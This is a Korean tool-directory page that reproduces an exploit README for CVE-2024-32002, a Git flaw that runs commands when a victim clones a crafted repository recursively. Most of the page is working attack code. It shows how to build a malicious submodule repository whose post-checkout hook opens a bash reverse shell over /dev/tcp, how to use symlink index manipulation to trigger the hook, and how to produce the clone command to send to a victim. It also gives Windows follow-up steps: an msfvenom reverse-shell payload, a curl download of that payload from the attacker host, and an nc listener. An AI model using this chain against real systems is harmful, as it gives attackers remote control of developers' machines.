Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/charlesgargasson/cve-2024-32002
Privilege EscalationExploitationLateral MovementWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubcharlesgargasson/cve-2024-32002

CVE-2024-32002

CVE-2024-32002에 대한 익스플로잇으로, 재귀적 서브모듈 클로닝과 심볼릭 링크를 사용하여 Windows 및 Linux 대상에서 임의 명령을 실행하는 Git RCE 취약점입니다.

22년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

###################### GIT RCE CVE-2024-32002 ######################


설명


| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/

|


익스플로잇


| 먼저 git에 "calledrepo"와 "commandrepo" 리포지토리를 생성해야 합니다. | 피해자는 나중에 "git clone --recursive calledrepo.git"로 calledrepo를 호출하게 되며, 이는 commandrepo로 리디렉션되어 후크 스크립트를 실행합니다. | 이 bash 리버스쉘 페이로드는 WINDOWS와 LINUX에서 동작합니다. | | docker에서 git cli를 사용하고 있습니다. 시스템 git 구성에 문제를 일으키고 싶지 않기 때문이지만, 이는 선택 사항입니다.

.. code-block:: bash

Stat a debian docker instance

docker run --rm -it debian

Install git

apt update apt install -y git

| Git 구성

.. code-block:: bash

git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main

| 변수 설정

.. code-block:: bash

GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"

| 리포지토리 채우기

.. code-block:: bash

cd /tmp rm -rf calledrepo commandrepo

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..

피해자에서 실행할 명령어 출력

echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"

|


Windows


| Windows에서 익스플로잇 후, 몇 가지 문제/제한 사항이 있는 git bash를 얻게 됩니다: |

.. code-block:: bash

$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found

| 이 환경에서 탈출하려면 새로운 리버스쉘을 호출할 수 있습니다. |

.. code-block:: bash

공격자 측

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113

.. code-block:: bash

Windows 측

cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe

|

| git bash가 Windows 명령어보다 우선하는 경로 순서를 가질 수 있다는 점을 잊지 마세요. | 전체 경로를 사용하여 Windows 명령어를 실행할 수 있습니다. |

.. code-block:: bash

C:\windows\System32\whoami.exe /all

|

도구 다운로드